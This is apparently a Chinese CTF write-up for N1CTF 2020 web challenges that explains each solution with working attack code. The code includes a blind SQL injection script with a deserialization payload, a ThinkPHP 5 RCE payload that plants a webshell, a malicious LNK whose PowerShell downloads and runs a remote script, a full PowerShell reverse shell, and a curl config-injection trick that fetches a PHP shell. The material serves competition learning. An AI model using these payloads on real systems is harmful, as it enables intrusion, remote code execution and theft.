N1CTF的题目质量毋庸置疑,可惜自己能力不足。除了签到还看了easytp5,filters,还有渗透系列的Victim.基本都没思路或者思路跑偏了......抓紧复现下来学习学习。
signin
这题拿的二血难受死了,错失空指针邀请码......(西湖upload也是二血,自己人最近也有点水逆,难道这就是2的诅咒么?:( )
source
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
显然我们需要getflag的话,需要拿到数据库里的key.而key需要通过sql注入获取。这里唯一存在注入的地方在ip的__toString
中。故通过反序列化触发__toString
即可。设置flag类的ip
为ip类就可以在stristr
处触发了。
接下来就是黑盒waf下进行注入的事了。
我的思路比较直接。直接时间盲注。当然这里稍微构造下进行报错盲注也是可以的。(因为__toString
的返回值会与n1ctf比较,而__toString
返回值有mysql报错与"your ip looks ok!"两种,那么就可以构造报错从而产生布尔值来盲注了)
时间盲注的话,由于ban了不少关键词,所以我是现学的新方法
select rpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')
其实挺像 js里的正则盲注的。当然其实从其他几种时间盲注方法如heavy query就可以推出这种令服务端产生负荷的方法必然可行233。
然后题目只waf掉了rpad,rpad不能用的话改成lpad就好了:)
exp
import requests
import time
import string
url='http://101.32.205.189/'
def getflag(payload):
r = requests.get(url, params={'input': payload})
print(r.text)
#key n1ctf20205bf75ab0a30dfc0c
def sqli():
res=""
for i in range(1,50):
print(i)
for j in string.printable:
headers = {
#'X-Forwarded-For': "1'^(if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),"+str(i)+",1))=" + str(ord(j)) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
#'X-Forwarded-For': "1'^(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='n1key'),"+str(i)+",1))=" + str(j) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
'X-Forwarded-For': "1'^(if(ascii(substr((select `2` from (select 1,2 union select * from n1key)a limit 1,1),"+str(i)+",1))=" + str(ord(j)) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
# select `2` from (select 1,2 union select * from n1key) a limit 1,1
}
t = time.time()
r = requests.get(url, params={'input': payload}, headers=headers)
if 'hack' in r.text:
print('banwords')
if time.time() - t > 2.5:
res +=j
print(res)
break
if __name__=="__main__":
#sqli('O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}')
getflag('O:4:"flag":2:{s:2:"ip";N;s:5:"check";s:25:"n1ctf20205bf75ab0a30dfc0c";}')
这里浪费我时间最久的就是最后一步select key from n1key
,导致错失一血。试了好久还换了一种注法才怀疑是他服务端waf了这个语句。然后尝试性的改成无列名注入select `2` from (select 1,2 union select * from n1key)a limit 1,1
就成了 orz. 所以可能还是自己太菜才错失良机吧。
filters
source
<?php
isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));
$input = explode("/",$_POST['filters']);
$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);
$file_contents = [];
foreach($input as $filter){
array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents);
file_put_contents($source_file, $file_contents);
try {
require_once $source_file;
}
catch(\Throwable $e){
pass;
}
unlink($source_file);
?>
这题自己就没做出来了。不过可以分享下我当时的思路,我感觉应该是控制filter过滤器多层组合fuzz来构造任意字符。也就是说前提是在resource始终为/usr/bin/php
下的。
假如这里不是file_get_contents的话其实很简单,因为过滤器的内容可以使用我们自定义的,所以像
php://filter/write=string.rot13|<?cuc @riny($_CBFG[Dsgz])?>/resource=
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSb[cy)]?; >
可以在file_put_contents()时写入指定文件。并且warning不影响写入。不过出题人肯定知道这点所以是先file_get_contents再file_put_contents。并且文件名的参数也不可控,所以就不知道是什么奇淫技巧了。
ps: 看到官方wp的确是fuzz构造字符。有点orange 的 oneline php challenge那味了。
看到SuperGusser的wp后感觉他们的思路是真的简单。。。
filters=resource=data:,<?php%20system('ls');?>
直接最质朴的data协议写入,不用带上text,plain,base64之类的。那么后面的内容都被当做data的内容了。所以根本不用管/
了
easytp5
smile大师傅的题必然少不了thinkphp ?
这题我思路有点走偏了,其实要是按照原来暑假跟过的tp5.0 的rce思路应该会顺利多了。
以下内容可以在直接学习tp漏洞的笔记找到
首先是一个tp5 rce的通用点。那就是可以通过控制器来覆盖值。
在Request.php
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
}
典型的就是可以调用Request任意方法并以$_POST
为参数。
然后进__construct
后
public function __construct($options = []){
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
}
有一个任意参数覆盖。所以还是利用这个类的所有可控参数来找gadget打。
这里继续下断点一路跟发现会根据app_debug的值前往当前类下param方法。
而这个方法全都走input方法。也就是都会调用了call_user_func。
//input
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
//filterValue
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
以上部分跟tp5的rce思路完全一致。只不过题目设置了disable_function,以及禁用了一些单参数函数。导致大部分payload都不可行。
那么比较重要的就是找gadget了。
我们可以控制filter,然后进行任意方法的单参数rce.不过由于for循环循环调用$value
.所以可以搭配gadget进行rce.
这里可以找恶意函数找到eval
thinkphp\library\think\view\driver\Php.php
public function display($content, $data = [])
{
if (isset($data['content'])) {
$__content__ = $content;
extract($data, EXTR_OVERWRITE);
eval('?>' . $__content__);
} else {
extract($data, EXTR_OVERWRITE);
eval('?>' . $content);
}
}
因为这里的直接调用会报错,所以看到SuperGuesser的wp里提到了设置set_error_handler 为任意其他函数来避免tp的默认错误处理。此处是implode
.那么就可以直接继续了。
关于filter的调用。
就是这四次调用
1.set_error_handler "implode"
2.self::path base64-payload
3.base64_decode base64-payload
4.\think\view\driver\Php::Display payload
payload
http://127.0.0.1:8000/?s=captcha&g=implode"
post:
path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ2J5Yy5waHAnLCc8P3BocCBldmFsKCRfUkVRVUVTVFtieWNdKTs/PicpOyA/P
g==&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET
这里我觉得利用::
的确意想不到。以为按照自己的认识来说::
是用来访问静态属性跟方法。没想到是可以调非静态的(有warning).基于上面已经解决了tp报错的问题,这里也就没啥问题了。
看到smi1e分享了其他一些非预期解以及预期解。打算跟一跟
The king of phish (Victim bot)
source
import os
import uuid
import LnkParse3 as Lnk
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
source = open(__file__, 'r').read().replace("\n", "\x3c\x62\x72\x3e").replace(" ", "\x26\x6e\x62\x73\x70\x3b")
return source
@app.route('/send', methods=['POST'])
def sendFile():
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
data = file.stream.read()
if not data.startswith(b"\x4c\x00"):
return "You're a bad guy!"
shortcut = Lnk.lnk_file(indata=data)
if shortcut.data['command_line_arguments'].count(" "):
return "File is killed by antivirus."
filename = str(uuid.uuid4())+".lnk"
fullname = os.path.join(os.path.abspath(os.curdir) + "/uploads", filename)
open(fullname, "wb").write(data)
clickLnk(fullname)
return "Clicked."
def clickLnk(lnkPath):
os.system('cmd /c "%s"' % lnkPath)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
这里开始主要是被lnk的命令里bypass 空格给困扰了。后来想起来不用空格还可以用其他不可见字符.那就很简单了。用\t
替换下空格即可。
結果找半天没找到恶意lnk的生成工具。。。
最后今天复现时找到一个windows上的。 https://github.com/fireeye/SharPersist
用以下命令即可生成lnk文件.
SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "IEX(New-Object`tNet.WebClient).DownloadString('http://xxx/byc.ps1')" -f "byc1" -m add
这里用到一个小技巧:powershell命令行下可以直接用`t
来表示字符串中的\t
。
然后开始准备用的是nishang的反弹shell脚本。结果没反应,感觉是被防火墙拦了。所以就换了个简单的
服务器上的byc.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.0.2.4",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
最后发送即可getshell
flag在userA 桌面
n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}
后面拿域控的思路就没有了...
Docker_Manager
BUU上面又复现了两题。zabbix_fun直接拿exp打的。Docker_Manager可以记录下
赵总的wp很详细了。学到很多
https://www.zhaoj.in/read-6750.html
题目核心代码基本就是下面了
$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;
$output = array();
$ret = 0;
exec($cmd, $output, $ret);
显然就是一个curl的参数注入。但是利用起来比较有趣。
You tell curl to read more command-line options from a specific file with the -K/--config option, like this:
-K是可以读取一个配置文件的。然后如果配置文件demo如下
# --- Example file ---
# this is a comment
url = "example.com"
output = "curlhere.html"
user-agent = "superagent/1.0"
# and fetch another URL too
url = "example.com/docs/manpage.html"
-O
referer = "http://nowhereatall.example.com/"
# --- End of example file ---
也就是说,只要K能加载到设计过的配置文件,就能读内容并输出。这只用到了-K
一个指令,即可达成写shell的目的。
然后就是非常巧妙的一个利用了。我们需要想办法读到配置文件,而这就是利用了/proc/xxx/cmdline
原来我们知道,/proc/self/cmdline
常用于读取java,python这样的web应用的一些简单配置。但是实际上其他命令行或者说一个pid都会对应其运行时的命令即/proc/{pid}/cmdline
。
那么假如我们有办法让cmdline长时间驻留,就可以爆破pid读取到配置文件。这里可以利用/dev/urandom
等等文件。实际上dev下很多没有实际大小的文件都可以用来读取。
那么首先我们利用换行符,就能在某个pid的cmdline构造如下的一个配置文件
view.php?host=-K/dev/urandom%00&cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl="http://frps:9001/byc.php"%0aoutput="img/byc.php"%0a%0a%0a%0a%0a%0a%0a
curl --connect-timeout 10 '-K/dev/urandom' --cacert='111
url="http://frps:9001/byc.php"
output="img/byc.php"
接下来就是同样的办法爆破-K/proc/xx/cmdline
,从而加载上面的配置文件,写进shell
getshell后 trap "" 14 && /readflag
即可。